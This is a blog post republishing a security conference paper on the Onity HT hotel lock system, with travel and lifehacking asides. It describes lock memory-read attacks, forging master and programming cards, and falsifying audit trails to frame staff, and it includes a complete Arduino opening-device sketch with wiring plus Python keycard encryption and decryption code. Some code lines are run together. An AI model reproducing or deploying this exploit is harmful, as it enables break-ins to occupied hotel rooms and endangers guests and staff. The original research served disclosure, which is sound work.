Opening Hotel Door Locks with an Arduino (and lifehacking)

So it turns out about half the hotel locks installed worldwide can be opened in a quarter of a second with an Arduino plugged into a port on the outside of the door.

Don’t think I need say much more. Rather more elegant than an under-the-door tool (though the latter is easier to make if you get locked out, speaking from experience). The Arduino code is included at the end of the mail, of course.

Pro travel tip: Get a travel door lock widget, use it when you go to sleep. Here’s one example (first search engine hit, haven’t tried this particular model): http://www.walkabouttravelgear.com/safety.htm

Random lifehacking tip to pad this out a bit: doing a bit of engineering design work every day makes you think more rationally, which in turn makes you less vulnerable to various forms of manipulation and bullshit. (Doesn’t have to be much — but just programming doesn’t seem to have the same effect.)

http://daeken.com/blackhat-paper
http://demoseen.com/bhpaper.html

“In this paper we will discuss the design and inner workings of the Onity HT lock system for hotels. Approximately ten million Onity HT locks are installed in hotels worldwide. This accounts for over half of all the installed hotel locks and can be found in approximately a third of all hotels.[…]

Open function

Given the ability to read the memory of the lock, and knowledge of the location of the sitecode in memory, it’s trivial to read the sitecode and then send that in the opening command. This gives instant access to the door and will merely show in the audit log as the opening function of the PP having been used.

This can be done in under a quarter of a second, and a device implementing such an attack is detailed in appendix A.

Master card creation

Because of the ability to read the memory of the lock, we can likewise read the master code key values out of the lock and then produce our own master keycards. These will behave identically to those given to staff members, and will gain entry to any door containing that master code.

This does not mean necessarily that a single card will work for every door, of course, because masters could be split among a property. For instance, a hotel may configure the masters such that there are three master types, with a housekeeping group each assigned to one of these. In such a configuration, gaining access to one of these master keys will only get you access to a third of the property.

Programming card creation

With access to the memory, we are able to get the sitecode and programming card code for the property. With these, we are able to create a programming card which will work for every lock. Creating a spare card requires no knowledge of the property or locks whatsoever and can be done ahead of time.

After using the programming card on the door, simply introduce the spare card and the lock will open. In the future, it’s possible to simply use that spare card again and gain access perpetually, at least until a new guest card is introduced.

Spare card manipulation

Due to the lack of crypto and the fact that spare cards are created incrementally, it’s possible to manipulate spare card values to gain access to another room.

Take the case of a hotel where the encoder is out of service and guests are being checked in manually by staff, using spare cards. If you are given a spare card with the value 1234, you could change this to 1233 or 1235 and attempt to access doors. Due to the incremental nature of the card, it’s highly likely that this will allow entry to a door at the property, though determining which door it will open would be roughly impossible without other knowledge.

Basic cryptography breaks

Given the small keyspace and the lack of real cryptography on the keycards, there are a couple of simple attacks that can be performed. As mentioned later, there is still much more work that can and should be done to analyze the cryptography further.

As a consequence of the way cards are encrypted, only a small part of the sitecode is used for each byte and this can be used in conjunction with known relationships to determine the sitecode. For instance, if you check into a hotel room and get two keycards, the only thing that will differ between these are a single bit of the ident field. Likewise, if you know the expiration dates for multiple cards, you can use the differences between those as a guide.

This work is only very cursory and not performed by a cryptanalyst, and much more work needs to be performed in the future. Needless to say, the cryptography involved is by no means secure and should not be trusted, being built from scratch and kept private for over a decade and given the 32-bit keyspace.

Framing hotel staff for murder

Given the ability to read the complete memory of the lock, it is possible to gain access to the master key card codes. With these — in combination with the sitecode for encryption — it is possible to create master cards which will gain access to locks at the property.

Let’s look at a hypothetical situation:

* An attacker uses the beforementioned vulnerabilities to read the memory of the lock
* Attacker uses the sitecode and master key card codes to generate one or more master cards * Attacker uses a master card to enter a room
* Attacker murders the victim in the room
* Attacker escapes

During the course of investigation, it’s quite possible that the criminal investigators may look at the audit report for the lock, to see who entered the door at what time. Upon doing so, they will see a specific member of the staff (as the key cards are uniquely identified in the ident field) using a master key card to gain access to the room near the time of death.

Such circumstantial evidence, placing a staff member in the room at the time of death, could be damning in a murder trial, and at least would make that staff member a prime suspect. While other factors (e.g. closed circuit cameras, eyewitnesses, etc) could be used to support the staff member’s case, there’s no way we can know whether or not the audit report is false.”

Appendix A: Opening device

This appendix details building and programming an opening device based on the Arduino platform. Caveats

There is a bug with the implementation of this device which prevents it working on some locks. At the moment this is believed to be a timing bug, which leads to the first bit of each byte being corrupted, but this is not certain.

In addition, possession of this device may be illegal under lock pick laws in certain jurisdictions; consult a lawyer prior to constructing an opening device. Use of this device to gain access to areas where you would not normally have access may be illegal. No warranty is given for this device and no liability will be accepted; you’re on your own. Hardware setup

Required hardware:

* Arduino Mega 128
* 5.6k resistor
* DC (coaxial) barrel connector, 5mm outer diameter, 2.1mm inner diameter

Attach the resistor from 3.3v power on the Arduino to digital IO pin 3. Attach digital IO pin 3 to the inner contact on the DC connector. Attach ground from the Arduino to the outer contact on the DC connector. Sketch

Below is the complete Arduino sketch. When connected to the lock, it will immediately open the lock.

#define CONSERVATIVE

int ioPin = 3;
#define BUFSIZE 200
unsigned char buf[BUFSIZE];

#define pullLow() pinMode(ioPin, OUTPUT)
#define pullHigh() pinMode(ioPin, INPUT)

unsigned char dbits[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0};

unsigned char bits[][144] = {
{
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 1, 0, 0, 0, 1, 0,
0, 1,

1, 0, 0, 0, 1, 0, 0, 0, 1,
1, 0, 1, 0, 0, 1, 0, 1, 1,
1, 1, 0, 0, 0, 0, 1, 1, 1,
0, 0, 0, 1, 1, 1, 0, 1, 1,

1, 1, 1, 1, 1, 1, 1, 1,
0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0
},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0} };

unsigned char bval;

void wentLow() {
bval = 1;
}

void setup() {
pinMode(ioPin, OUTPUT);
digitalWrite(ioPin, LOW);
pinMode(ioPin, INPUT);
digitalWrite(ioPin, LOW);

for(int i = 0; i < sizeof(dbits); ++i) {
if(dbits[i] == 0) {
pullLow();
delayMicroseconds(16);
pullHigh();
delayMicroseconds(190);
} else {
pullLow();
delayMicroseconds(16);
pullHigh();
delayMicroseconds(56);
pullLow();
delayMicroseconds(16);
pullHigh();
delayMicroseconds(112);
}
}

pullLow();
delayMicroseconds(16);
pullHigh();

bval = 0;
attachInterrupt(1, wentLow, FALLING);
while(digitalRead(ioPin) == HIGH) {}
delayMicroseconds(20);
for(int i = 0; i < 164; ++i) {
buf[i] = 0;
pullLow();
delayMicroseconds(8);
pullHigh();
bval = 0;
delayMicroseconds(184);
buf[i] = bval;
}

for(int i = 0; i < 32+3; ++i)
bits[0][50+i] = buf[22+i];

for(int i = 0; i < 8; ++i)
bits[0][86+i] = bits[0][50+i] ^ bits[0][50+9+i] ^ bits[0][50+18+i] ^ bits[0][50+27+i]; bits[0][86] ^= 1;
bits[0][87] ^= 0;
bits[0][88] ^= 1;
bits[0][89] ^= 1;
bits[0][90] ^= 1;
bits[0][91] ^= 0;
bits[0][92] ^= 1;
bits[0][93] ^= 1;

#ifdef CONSERVATIVE
delay(100);
#endif
for(int j = 0; j < 11; ++j) {
for(int i = 0; i < sizeof(bits[j]); ++i) {
if(bits[j][i] == 0) {
pullLow();
delayMicroseconds(16);
pullHigh();
delayMicroseconds(190);
} else {
pullLow();
delayMicroseconds(16);
pullHigh();
delayMicroseconds(56);
pullLow();
delayMicroseconds(16);
pullHigh();
delayMicroseconds(112);
}
}
#ifdef CONSERVATIVE
delayMicroseconds(2700);
#else
delayMicroseconds(500);
#endif
}
}

void loop() {
}

Appendix B: Card cryptography

Below is a Python implementation of the card crypto. The functions encryptCard and decryptCard are what should be used for the majority of tasks; both take a sitecode and card buffer encoded as hex and return a hex-encoded buffer.

def fromhex(data):
return [int(data[i:i+2], 16) for i in range(0, len(data), 2)]

def checksum(data):
return chr(reduce(
lambda a, b: a^(0xFF^ord(b)),
data,
(0xFF, 0)[len(data) % 2]
))

def encrypt(key, buffer):
def rotateRight(x, count):
buffer[x] = ((buffer[x] << (8-count)) | (buffer[x] >> count)) & 0xFF def rotateLeft(x, count):
buffer[x] = ((buffer[x] << count) | (buffer[x] >> (8-count))) & 0xFF def mixup(value, a, b):
mask = (value ^ (value >> 4)) & 0xF

twiddles = (
((0, 2, 1, 3, 0xFF), (0, 3, 2, 0, 0xFF)),
((1, 4, 2, 1, 0xFF), (1, 1, 2, 2, 0x00)),
((1, 2, 3, 2, 0xFF), (0, 2, 1, 3, 0x00)),
((1, 2, 1, 0, 0x00), (0, 3, 2, 1, 0xFF))
)
mr = a, b

for i in range(4):
twiddle = twiddles[i][mask >> (3-i) & 1]
rotateRight(a, twiddle[1])
rotateLeft (b, twiddle[2])
buffer[mr[twiddle[0]]] ^= twiddle[4] ^ buffer[mr[1-twiddle[0]]] ^ key[twiddle[3]]

mixup(buffer[2], 0, 1)
mixup(buffer[0], 2, 1)
mixup(buffer[1], 0, 2)

for j in range(len(buffer)-2):
mask = reduce(int.__xor__, buffer[:j] + buffer[j+3:]) mixup(mask, j+1, j+2)

return buffer

def encryptCard(sitecode, card):
size = 0x88 + len(card) * 4
data = chr(size) + ”.join(map(chr, encrypt(fromhex(sitecode), fromhex(card)))) return data + checksum(data)

def decrypt(key, buffer):
def rotateRight(x, count):
buffer[x] = ((buffer[x] << (8-count)) | (buffer[x] >> count)) & 0xFF def rotateLeft(x, count):
buffer[x] = ((buffer[x] << count) | (buffer[x] >> (8-count))) & 0xFF def mixdown(value, a, b):
mask = (value ^ (value >> 4)) & 0xF

twiddles = (
((0, 2, 1, 3, 0xFF), (0, 3, 2, 0, 0xFF)),
((1, 4, 2, 1, 0xFF), (1, 1, 2, 2, 0x00)),
((1, 2, 3, 2, 0xFF), (0, 2, 1, 3, 0x00)),
((1, 2, 1, 0, 0x00), (0, 3, 2, 1, 0xFF))
)
mr = a, b

for i in range(3, -1, -1):
twiddle = twiddles[i][mask >> (3-i) & 1]
buffer[mr[twiddle[0]]] ^= twiddle[4] ^ buffer[mr[1-twiddle[0]]] ^ key[twiddle[3]] rotateLeft (a, twiddle[1])
rotateRight(b, twiddle[2])

for j in range(len(buffer)-3, -1, -1):
mask = reduce(int.__xor__, buffer[:j] + buffer[j+3:]) mixdown(mask, j+1, j+2)

mixdown(buffer[1], 0, 2)
mixdown(buffer[0], 2, 1)
mixdown(buffer[2], 0, 1)

return buffer

def decryptCard(sitecode, card):
card = fromhex(card)
data = card[1:-1]
return ”.join(‘%02X’ % x for x in decrypt(fromhex(sitecode), data))

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: